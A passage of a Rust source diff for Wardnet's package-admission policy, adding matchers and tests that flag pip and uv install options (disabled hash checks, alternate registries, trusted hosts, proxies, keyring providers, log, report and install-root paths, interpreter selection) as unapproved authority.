reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + // The client-certificate path is consumed option grammar, not an + // artifact operand. Attach it only in the internal policy copy; + // admission_decision restores audit identity from submitted argv. + push_attached_normalized_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + + if matches_canonical_pip_cache_directory_option(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + // A separate cache path is consumed General Option grammar. Attach + // it only in the internal policy copy so it cannot masquerade as + // an artifact operand; the submitted argv/hash stay authoritative. + push_attached_normalized_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + + if matches_pip_log_option(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + // A separate log path is consumed General Option grammar. Attach + // it only in the internal policy copy so it cannot masquerade as + // an artifact operand; the submitted argv/hash stay authoritative. + push_attached_normalized_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + + if matches_pip_python_interpreter_option(argument) { + let value = if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + index += 1; + value.to_string() + } else { + let value = arguments.get(index + 1)?; + if value == "install" || value.starts_with('-') || value.is_empty() { + return None; + } + index += 2; + value.clone() + }; + + // A verified pre-command abbreviation is General Option grammar, but + // the same spelling can be ambiguous in `pip install` grammar because + // that parser also defines `--python-version`. Canonicalize only the + // internal policy copy to exact `--python=VALUE` so the pre-command + // meaning survives phase normalization without widening post-command + // authority. The submitted argv remains the audit/hash authority. + reviewed_global_arguments.push(format!("--python={value}")); + continue; + } + + return None; + } + + None +} + +fn push_attached_normalized_value_argument( + arguments: &[String], + reviewed_global_arguments: &mut Vec, + index: &mut usize, +) -> Option<()> { + let value = arguments.get(*index + 1)?; + if value == "install" || value.starts_with('-') || value.is_empty() { + return None; + } + + reviewed_global_arguments.push(format!("{}={value}", arguments[*index])); + *index += 2; + Some(()) +} + +fn push_separate_value_argument( + arguments: &[String], + reviewed_global_arguments: &mut Vec, + index: &mut usize, +) -> Option<()> { + let value = arguments.get(*index + 1)?; + if value == "install" || value.starts_with('-') || value.is_empty() { + return None; + } + + reviewed_global_arguments.push(arguments[*index].clone()); + reviewed_global_arguments.push(value.clone()); + *index += 2; + Some(()) +} diff --git a/crates/agent-artifact-admission/src/pypi_hash_mode.rs b/crates/agent-artifact-admission/src/pypi_hash_mode.rs new file mode 100644 index 00000000..6dbade35 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_hash_mode.rs @@ -0,0 +1,40 @@ +use crate::{InstallIntent, policy::uv_active_command_index}; + +/// Return whether a supported PyPI install request explicitly disables the +/// hash-checking mode that Wardnet requires for reviewed artifacts. +pub(crate) fn requests_disabled_hash_requirement(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + let install_arguments = match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + &arguments[1..] + } + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments.get(pip_index).map(String::as_str) != Some("pip") + || arguments.get(pip_index + 1).map(String::as_str) != Some("install") + { + return false; + } + &arguments[pip_index + 2..] + } + _ => return false, + }; + + install_arguments + .iter() + .any(|argument| argument == "--no-require-hashes") + || (executable == "uv" + && install_arguments + .iter() + .any(|argument| argument == "--no-verify-hashes")) +} diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs new file mode 100644 index 00000000..86f04bb7 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -0,0 +1,197 @@ +use crate::InstallIntent; +use crate::policy::uv_active_command_index; + +/// Return whether a PyPI install asks for mutation authority over an existing +/// installation that is not represented by the reviewed artifact. +pub(crate) fn requests_unapproved_pypi_install_mutation(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + match executable { + "pip" | "pip3" => requests_direct_pip_mutation(arguments), + "uv" => requests_uv_pip_mutation(arguments), + _ => false, + } +} + +fn requests_direct_pip_mutation(arguments: &[String]) -> bool { + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(1).any(|argument| { + matches_ignore_installed_option(argument) + || matches_force_reinstall_option(argument) + || matches_upgrade_option(argument) + }) +} + +fn requests_uv_pip_mutation(arguments: &[String]) -> bool { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" + || !arguments + .get(pip_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(pip_index + 2) + .any(|argument| matches_uv_install_mutation_option(argument)) +} + +fn matches_ignore_installed_option(argument: &str) -> bool { + matches_pip_no_value_short_cluster(argument, b'I') + || (argument.len() >= "--ignore-i".len() && "--ignore-installed".starts_with(argument)) +} + +fn matches_force_reinstall_option(argument: &str) -> bool { + argument.len() >= "--fo".len() && "--force-reinstall".starts_with(argument) +} + +fn matches_upgrade_option(argument: &str) -> bool { + matches_pip_no_value_short_cluster(argument, b'U') || argument == "--upgrade" +} + +/// Classify only the reviewed direct-pip no-value short-option cluster grammar. +/// +/// `pip` inherits `optparse` clustering for no-value `-v`, `-q`, `-I`, and `-U` +/// selectors. Value-taking or unknown short options are deliberately excluded so +/// their remaining bytes cannot be misclassified as embedded mutation authority. +fn matches_pip_no_value_short_cluster(argument: &str, required_flag: u8) -> bool { + let Some(cluster) = argument.strip_prefix('-') else { + return false; + }; + let bytes = cluster.as_bytes(); + !bytes.is_empty() + && bytes + .iter() + .all(|byte| matches!(*byte, b'v' | b'q' | b'I' | b'U')) + && bytes.contains(&required_flag) +} + +fn matches_uv_install_mutation_option(argument: &str) -> bool { + matches!( + argument, + "--exact" | "--reinstall" | "--force-reinstall" | "--reinstall-package" + ) || argument.starts_with("--reinstall-package=") +} + +#[cfg(test)] +mod tests { + use super::{ + matches_ignore_installed_option, matches_upgrade_option, matches_uv_install_mutation_option, + }; + + #[test] + fn direct_pip_ignore_installed_matcher_accepts_only_reviewed_mutation_selectors() { + for argument in [ + "-I", + "-Iv", + "-Ivv", + "-vI", + "-qI", + "-IU", + "-UI", + "--ignore-i", + "--ignore-installed", + ] { + assert!( + matches_ignore_installed_option(argument), + "reviewed pip ignore-installed selector must be classified: {argument}" + ); + } + + for argument in [ + "-", + "-v", + "-q", + "-U", + "-iI", + "-rI", + "-tI", + "-Ixyz", + "-u", + "--ignore", + "--ignore-installedx", + "cwl-example==1.2.3", + ] { + assert!( + !matches_ignore_installed_option(argument), + "value-taking, malformed, or unrelated argv must not inherit ignore-installed semantics: {argument}" + ); + } + } + + #[test] + fn direct_pip_upgrade_matcher_accepts_only_reviewed_mutation_selectors() { + for argument in ["-U", "-Uv", "-Uvv", "-vU", "-qU", "-IU", "-UI", "--upgrade"] { + assert!( + matches_upgrade_option(argument), + "reviewed pip upgrade selector must be classified: {argument}" + ); + } + + for argument in [ + "-", + "-v", + "-q", + "-I", + "-iU", + "-rU", + "-tU", + "-Uxyz", + "--upgrade-strategy=eager", + "--upgrade-strategy", + "--up", + "--upgrades", + "-u", + "--no-deps", + "cwl-example==1.2.3", + ] { + assert!( + !matches_upgrade_option(argument), + "distinct or unreviewed argv must not inherit upgrade semantics: {argument}" + ); + } + } + + #[test] + fn uv_install_mutation_matcher_accepts_only_documented_mutation_selectors() { + for argument in [ + "--exact", + "--reinstall", + "--force-reinstall", + "--reinstall-package", + "--reinstall-package=cwl-example", + ] { + assert!( + matches_uv_install_mutation_option(argument), + "documented uv install-mutation selector must be classified: {argument}" + ); + } + + for argument in [ + "--exact=true", + "--reinstall-packagex", + "--reinstallx", + "--force-reinstallx", + "--no-deps", + "cwl-example==1.2.3", + ] { + assert!( + !matches_uv_install_mutation_option(argument), + "unrelated or unsupported argv must not gain install-mutation semantics: {argument}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/src/pypi_install_report_authority.rs b/crates/agent-artifact-admission/src/pypi_install_report_authority.rs new file mode 100644 index 00000000..2d155933 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_install_report_authority.rs @@ -0,0 +1,33 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install asks the installer to write its JSON report +/// to a caller-selected destination outside the reviewed artifact mutation contract. +pub(crate) fn requests_unapproved_pypi_report_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(1) + .any(|argument| matches_pip_report_option(argument)) +} + +/// pip's option parser accepts an unambiguous long-option prefix. `--rep` is +/// the shortest report prefix that is distinct from the other install options, +/// so every longer prefix through `--report` carries the same write authority. +fn matches_pip_report_option(argument: &str) -> bool { + let option = argument.split_once('=').map_or(argument, |(name, _)| name); + matches!(option, "--rep" | "--repo" | "--repor" | "--report") +} diff --git a/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs new file mode 100644 index 00000000..4169aa31 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_install_root_abbreviation_authority.rs @@ -0,0 +1,90 @@ +use crate::InstallIntent; + +/// Return whether direct pip selects an alternate install root through the +/// verified `--target` or `--prefix` long-option abbreviation language. +/// +/// Wardnet classifies only explicit caller argv. Effective destination paths, +/// filesystem isolation, mount policy, and cleanup remain quarantine-runtime +/// authority. +pub(crate) fn requests_unapproved_pypi_install_root_abbreviation(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(1).any(|argument| { + let option = argument + .split_once('=') + .map_or(argument.as_str(), |(name, _)| name); + matches_pip_target_option(option) || matches_pip_prefix_option(option) + }) +} + +/// Preserve the existing admission call site while classifying the complete +/// reviewed direct-pip install-root abbreviation surface. +pub(crate) fn requests_unapproved_pypi_target_abbreviation(intent: &InstallIntent) -> bool { + requests_unapproved_pypi_install_root_abbreviation(intent) +} + +/// Pinned pip uses Python optparse abbreviation semantics. `--ta` is the +/// shortest verified unambiguous prefix of `--target`; `--t` is deliberately +/// excluded because it is ambiguous on the reviewed option surface. +fn matches_pip_target_option(option: &str) -> bool { + option.len() >= "--ta".len() && "--target".starts_with(option) +} + +/// `--prefi` is the shortest verified unambiguous prefix of `--prefix`. +/// `--pref` stays outside this matcher because the reviewed pip install +/// surface also exposes `--prefer-binary`. +fn matches_pip_prefix_option(option: &str) -> bool { + option.len() >= "--prefi".len() && "--prefix".starts_with(option) +} + +#[cfg(test)] +mod tests { + use super::{matches_pip_prefix_option, matches_pip_target_option}; + + #[test] + fn target_matcher_is_bounded_to_verified_unambiguous_prefixes() { + for option in ["--ta", "--tar", "--targ", "--targe", "--target"] { + assert!( + matches_pip_target_option(option), + "verified direct-pip target spelling must be classified: {option}" + ); + } + + for option in ["--t", "--targeted", "--timeout", "--prefix", "-t"] { + assert!( + !matches_pip_target_option(option), + "ambiguous, superstring, unrelated, or short-option grammar must stay outside the long-prefix matcher: {option}" + ); + } + } + + #[test] + fn prefix_matcher_is_bounded_to_verified_unambiguous_prefixes() { + for option in ["--prefi", "--prefix"] { + assert!( + matches_pip_prefix_option(option), + "verified direct-pip prefix spelling must be classified: {option}" + ); + } + + for option in ["--pref", "--prefer-binary", "--prefixes", "-prefix"] { + assert!( + !matches_pip_prefix_option(option), + "ambiguous, unrelated, superstring, or non-long-option grammar must stay outside the prefix matcher: {option}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs new file mode 100644 index 00000000..efbb2b2d --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -0,0 +1,67 @@ +use crate::InstallIntent; +use crate::policy::uv_active_command_index; + +/// Return whether a supported PyPI installer delegates credential lookup to a caller-selected provider. +pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + let (provider_arguments, pip_compatible_abbreviation, non_disabled_provider_expands_authority) = + match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + (&arguments[1..], true, false) + } + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" + || !arguments + .get(pip_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + (&arguments[pip_index + 2..], false, true) + } + _ => return false, + }; + + provider_arguments + .iter() + .enumerate() + .any(|(index, argument)| { + let (option, attached_value) = argument + .split_once('=') + .map_or((argument.as_str(), None), |(flag, value)| { + (flag, Some(value)) + }); + if !is_keyring_provider_option(option, pip_compatible_abbreviation) { + return false; + } + + attached_value + .or_else(|| provider_arguments.get(index + 1).map(String::as_str)) + .is_some_and(|provider| { + if non_disabled_provider_expands_authority { + provider != "disabled" + } else { + provider == "subprocess" || provider == "import" + } + }) + }) +} + +fn is_keyring_provider_option(argument: &str, pip_compatible_abbreviation: bool) -> bool { + if pip_compatible_abbreviation { + argument.starts_with("--k") && "--keyring-provider".starts_with(argument) + } else { + argument == "--keyring-provider" + } +} diff --git a/crates/agent-artifact-admission/src/pypi_log_output_authority.rs b/crates/agent-artifact-admission/src/pypi_log_output_authority.rs new file mode 100644 index 00000000..6a57838d --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_log_output_authority.rs @@ -0,0 +1,48 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install asks the client to append verbose logs +/// to a caller-selected filesystem path outside the reviewed install intent. +pub(crate) fn requests_unapproved_pypi_log_output_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(1) + .any(|argument| matches_pip_log_option(argument)) +} + +/// pip uses Python optparse, which accepts unambiguous long-option prefixes. +/// Keep this accepted-language set explicit so an ambiguous prefix such as +/// `--lo` is not reinterpreted by Wardnet as valid caller authority. +pub(crate) fn matches_pip_log_option(argument: &str) -> bool { + let option = argument.split_once('=').map_or(argument, |(name, _)| name); + matches!( + option, + "--log" + | "--log-" + | "--log-f" + | "--log-fi" + | "--log-fil" + | "--log-file" + | "--loc" + | "--loca" + | "--local" + | "--local-" + | "--local-l" + | "--local-lo" + | "--local-log" + ) +} diff --git a/crates/agent-artifact-admission/src/pypi_noninteractive_authority.rs b/crates/agent-artifact-admission/src/pypi_noninteractive_authority.rs new file mode 100644 index 00000000..8d6aa448 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_noninteractive_authority.rs @@ -0,0 +1,22 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install would retain interactive credential +/// discovery because the reviewed invocation omitted canonical `--no-input`. +pub(crate) fn misses_required_noninteractive_mode(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + !arguments.iter().any(|argument| argument == "--no-input") +} diff --git a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs new file mode 100644 index 00000000..c270818e --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs @@ -0,0 +1,38 @@ +use crate::InstallIntent; + +/// Return whether `argument` is a reviewed direct-pip proxy selector that consumes +/// the following argv token as its value. +pub(crate) fn is_direct_pip_proxy_value_selector(argument: &str) -> bool { + matches!(argument, "--proxy" | "--prox") +} + +pub(crate) fn is_attached_direct_pip_proxy_selector(argument: &str) -> bool { + argument + .strip_prefix("--proxy=") + .or_else(|| argument.strip_prefix("--prox=")) + .is_some_and(|value| !value.is_empty()) +} + +/// Return whether a direct pip install delegates proxy routing to caller-selected argv. +pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(1).any(|argument| { + argument == "--no-proxy-env" + || is_direct_pip_proxy_value_selector(argument) + || is_attached_direct_pip_proxy_selector(argument) + }) +} diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs new file mode 100644 index 00000000..e07d655c --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -0,0 +1,349 @@ +use crate::InstallIntent; + +/// Return whether a direct-pip General Option token selects the Python interpreter. +/// +/// The reviewed pip parser defines `--python` as a General Option that runs pip +/// with the selected interpreter. Python `optparse` accepts unambiguous long-option +/// prefixes; in the pinned pip General Options set, `--p` is ambiguous with +/// `--proxy`, while `--py` through `--python` uniquely select `--python`. +/// This matcher is intentionally scoped to pip's pre-command General Options and +/// is not shared with post-command or other package-manager grammar. +pub(crate) fn matches_pip_python_interpreter_option(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + matches!(option, "--py" | "--pyt" | "--pyth" | "--pytho" | "--python") +} + +/// Normalize an exact post-command `pip install --python VALUE` selector only in +/// Wardnet's internal policy copy. +/// +/// pip's install-command parser also defines `--python-version`, so abbreviated +/// `--py...` spellings are intentionally not accepted in this post-command seam. +/// Attaching the consumed value prevents the selected interpreter path from being +/// mistaken for a package operand while the public decision wrapper preserves the +/// exact caller-submitted argv as audit identity. The `--` option terminator ends +/// this grammar. This performs no interpreter discovery, execution, environment +/// mutation, or filesystem access. +pub(crate) fn normalize_reviewed_post_command_pip_python_interpreter_value( + intent: &InstallIntent, +) -> Option { + let executable = intent.argv.first()?.as_str(); + if !matches!(executable, "pip" | "pip3") + || !intent + .argv + .get(1) + .is_some_and(|argument| argument == "install") + { + return None; + } + + let mut argv = intent.argv.clone(); + let mut index = 2; + let mut changed = false; + while index < argv.len() { + if argv[index] == "--" { + break; + } + if argv[index] != "--python" { + index += 1; + continue; + } + + let value = argv.get(index + 1)?.clone(); + if value.is_empty() || value.starts_with('-') { + return None; + } + + argv[index] = format!("--python={value}"); + argv.remove(index + 1); + changed = true; + index += 1; + } + + if !changed { + return None; + } + + let mut normalized = intent.clone(); + normalized.argv = argv; + Some(normalized) +} + +/// Detect caller-selected Python-interpreter authority after direct-pip global +/// option normalization has produced the ordinary `pip install` policy shape. +/// +/// At this parser phase only exact `--python` is authoritative: abbreviated +/// `--py...` forms are ambiguous with `--python-version`. Tokens after `--` are +/// positional grammar and are never classified as interpreter authority. +pub(crate) fn requests_unapproved_pypi_python_interpreter_authority( + intent: &InstallIntent, +) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") + || !intent + .argv + .get(1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + for argument in intent.argv.iter().skip(2) { + if argument == "--" { + break; + } + if argument == "--python" + || argument + .split_once('=') + .is_some_and(|(option, value)| option == "--python" && !value.is_empty()) + { + return true; + } + } + + false +} + +/// Detect caller-selected uv Python-provider authority only within Wardnet's +/// artifact-install policy grammar. +/// +/// Wardnet supports `uv pip install`; `uv run` remains an unsupported command and +/// is classified causally by the command guard. This helper therefore must not +/// interpret `uv run` option or child-command grammar, even when a provider flag +/// appears before the child. Keeping that boundary avoids duplicating uv's command +/// parser and prevents unrelated child arguments from becoming install-root +/// security evidence. Exact `--managed-python` and `--no-managed-python` spellings +/// remain authority evidence on `uv pip install` paths, including global options +/// that precede `pip`. `--` terminates option classification. +pub(crate) fn requests_unapproved_uv_python_provider_authority(intent: &InstallIntent) -> bool { + if intent.argv.first().map(String::as_str) != Some("uv") { + return false; + } + + let arguments = &intent.argv[1..]; + let run_index = arguments.iter().position(|argument| argument == "run"); + let pip_index = arguments.iter().position(|argument| argument == "pip"); + + if run_index.is_some_and(|run_index| pip_index.is_none_or(|pip_index| run_index < pip_index)) { + return false; + } + + arguments + .iter() + .take_while(|argument| argument.as_str() != "--") + .any(|argument| { + matches!( + argument.as_str(), + "--managed-python" | "--no-managed-python" + ) + }) +} + +#[cfg(test)] +mod tests { + use super::{ + matches_pip_python_interpreter_option, + normalize_reviewed_post_command_pip_python_interpreter_value, + requests_unapproved_pypi_python_interpreter_authority, + requests_unapproved_uv_python_provider_authority, + }; + use crate::{ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind}; + + #[test] + fn pip_python_prefix_matcher_is_bounded_to_verified_unambiguous_global_language() { + for accepted in ["--py", "--pyt", "--pyth", "--pytho", "--python"] { + assert!(matches_pip_python_interpreter_option(accepted)); + assert!(matches_pip_python_interpreter_option(&format!( + "{accepted}=/tmp/python" + ))); + } + + for rejected in ["--p", "--proxy", "--python-version", "-p", "--pythonx"] { + assert!(!matches_pip_python_interpreter_option(rejected)); + } + } + + #[test] + fn post_command_normalizer_is_exact_and_consumes_only_python_value() { + let intent = test_intent(vec![ + "pip", + "install", + "--python", + "/tmp/python", + "cwl-example==1.2.3", + ]); + let normalized = normalize_reviewed_post_command_pip_python_interpreter_value(&intent) + .expect("exact post-command --python should normalize"); + assert_eq!( + normalized.argv, + vec![ + "pip", + "install", + "--python=/tmp/python", + "cwl-example==1.2.3" + ] + ); + + for unreviewed in ["--py", "--pyt", "--pyth", "--pytho", "--python-version"] { + let intent = test_intent(vec![ + "pip", + "install", + unreviewed, + "/tmp/python", + "cwl-example==1.2.3", + ]); + assert!( + normalize_reviewed_post_command_pip_python_interpreter_value(&intent).is_none(), + "post-command {unreviewed} must not inherit exact --python grammar" + ); + } + } + + #[test] + fn post_command_authority_is_exact_and_stops_at_option_terminator() { + assert!(requests_unapproved_pypi_python_interpreter_authority( + &test_intent(vec![ + "pip", + "install", + "--python=/tmp/python", + "cwl-example==1.2.3", + ]) + )); + + for unreviewed in ["--py", "--pyt", "--pyth", "--pytho"] { + assert!(!requests_unapproved_pypi_python_interpreter_authority( + &test_intent(vec![ + "pip", + "install", + unreviewed, + "/tmp/python", + "cwl-example==1.2.3", + ]) + )); + } + + assert!(!requests_unapproved_pypi_python_interpreter_authority( + &test_intent(vec![ + "pip", + "install", + "--", + "--python", + "/tmp/python", + "cwl-example==1.2.3", + ]) + )); + } + + #[test] + fn post_command_normalizer_respects_option_termination() { + let intent = test_intent(vec![ + "pip", + "install", + "--", + "--python", + "/tmp/python", + "cwl-example==1.2.3", + ]); + assert!(normalize_reviewed_post_command_pip_python_interpreter_value(&intent).is_none()); + } + + #[test] + fn uv_python_provider_authority_is_exact_and_stops_at_option_terminator() { + for argv in [ + vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--managed-python", + ], + vec![ + "uv", + "--no-managed-python", + "pip", + "install", + "cwl-example==1.2.3", + ], + ] { + assert!(requests_unapproved_uv_python_provider_authority( + &test_intent(argv) + )); + } + + for unreviewed in ["--managed-pytho", "--no-managed-pytho", "--python"] { + assert!(!requests_unapproved_uv_python_provider_authority( + &test_intent(vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + unreviewed, + ]) + )); + } + + assert!(!requests_unapproved_uv_python_provider_authority( + &test_intent(vec![ + "uv", + "pip", + "install", + "--", + "--managed-python", + "cwl-example==1.2.3", + ]) + )); + } + + #[test] + fn unsupported_uv_run_does_not_inherit_install_authority_semantics() { + for argv in [ + vec!["uv", "run", "--managed-python", "python"], + vec!["uv", "run", "python", "--managed-python"], + vec!["uv", "--managed-python", "run", "python"], + ] { + assert!(!requests_unapproved_uv_python_provider_authority( + &test_intent(argv) + )); + } + + assert!(requests_unapproved_uv_python_provider_authority( + &test_intent(vec![ + "uv", + "--managed-python", + "pip", + "install", + "cwl-example==1.2.3", + ]) + )); + } + + fn test_intent(argv: Vec<&str>) -> InstallIntent { + InstallIntent { + request_id: "req-python-normalizer".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: argv.into_iter().map(str::to_string).collect(), + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }], + } + } +} diff --git a/crates/agent-artifact-admission/src/pypi_registry_authority.rs b/crates/agent-artifact-admission/src/pypi_registry_authority.rs new file mode 100644 index 00000000..10f4fe5f --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_registry_authority.rs @@ -0,0 +1,248 @@ +use crate::InstallIntent; + +const PIP_VALUE_SOURCE_SELECTORS: [(&str, &str); 3] = [ + ("--index-url", "--in"), + ("--extra-index-url", "--ext"), + ("--find-links", "--fi"), +]; +const PIP_NO_INDEX_CANONICAL: &str = "--no-index"; +const PIP_NO_INDEX_SHORTEST_ACCEPTED_PREFIX: &str = "--no-ind"; +const PIP_TRUSTED_HOST_CANONICAL: &str = "--trusted-host"; +const PIP_TRUSTED_HOST_SHORTEST_ACCEPTED_PREFIX: &str = "--tr"; + +/// Return whether a direct Python package install disables or replaces the exact +/// reviewed registry/source authority or relaxes its reviewed transport trust. +/// +/// Security traceability: +/// - pip documents `--index-url`, `--extra-index-url`, `--no-index`, +/// `--find-links`, and `--trusted-host` as global install controls, so these +/// tokens change source or trust authority rather than artifact identity: +/// . +/// - PEP 503 defines the Simple Repository API around a repository base URL; +/// selecting a different base therefore changes package-source authority: +/// . +/// - PEP 493 records the HTTPS certificate-verification boundary for Python +/// clients; treating `--trusted-host` as alternate trust evidence preserves +/// that transport-authentication distinction: . +/// - NIST SSDF PW.8 requires software components to be verified before use; +/// preserving registry/trust selection as explicit admission evidence keeps +/// that verification decision auditable: . +pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + let is_direct_pypi_install = match executable { + "pip" | "pip3" => arguments + .first() + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + } + _ => false, + }; + if !is_direct_pypi_install { + return false; + } + + arguments.iter().any(|argument| { + argument == PIP_NO_INDEX_CANONICAL + || (matches!(executable, "pip" | "pip3") + && (requests_pip_source_selector_abbreviation(argument) + || requests_pip_trusted_host_abbreviation(argument))) + }) +} + +/// Return whether `argument` is a reviewed direct-pip registry/source selector +/// that consumes one value. This is the shared language for both post-command +/// policy evaluation and the bounded pre-command General Option normalizer. +/// pip's global-option contract is documented at +/// and the +/// repository-base authority it selects is standardized by PEP 503 +/// (). +pub(crate) fn is_reviewed_pip_registry_value_selector(argument: &str) -> bool { + let option = option_name(argument); + + PIP_VALUE_SOURCE_SELECTORS + .iter() + .any(|(canonical, shortest_accepted_prefix)| { + option == *canonical + || is_unambiguous_long_option_prefix(option, canonical, shortest_accepted_prefix) + }) + || option == PIP_TRUSTED_HOST_CANONICAL + || is_unambiguous_long_option_prefix( + option, + PIP_TRUSTED_HOST_CANONICAL, + PIP_TRUSTED_HOST_SHORTEST_ACCEPTED_PREFIX, + ) +} + +/// Return whether `argument` is the reviewed value-less `--no-index` selector +/// or one of pip's verified unambiguous long-option prefixes for it. pip +/// documents `--no-index` as a global source-selection control at +/// . +pub(crate) fn is_reviewed_pip_no_index_selector(argument: &str) -> bool { + if argument.contains('=') { + return false; + } + + let option = option_name(argument); + option == PIP_NO_INDEX_CANONICAL + || is_unambiguous_long_option_prefix( + option, + PIP_NO_INDEX_CANONICAL, + PIP_NO_INDEX_SHORTEST_ACCEPTED_PREFIX, + ) +} + +/// pip's optparse-compatible CLI accepts unambiguous long-option prefixes. The +/// generic argv guard intentionally matches exact option names because other +/// installers do not share that grammar, so pip source selectors need their +/// accepted prefix forms classified here as the same trust-root authority. +fn requests_pip_source_selector_abbreviation(argument: &str) -> bool { + let option = option_name(argument); + + PIP_VALUE_SOURCE_SELECTORS + .iter() + .any(|(canonical, shortest_accepted_prefix)| { + is_unambiguous_long_option_prefix(option, canonical, shortest_accepted_prefix) + }) + || is_unambiguous_long_option_prefix( + option, + PIP_NO_INDEX_CANONICAL, + PIP_NO_INDEX_SHORTEST_ACCEPTED_PREFIX, + ) +} + +/// Direct pip also accepts unambiguous prefixes of `--trusted-host`. `--tr` is +/// the shortest verified prefix while 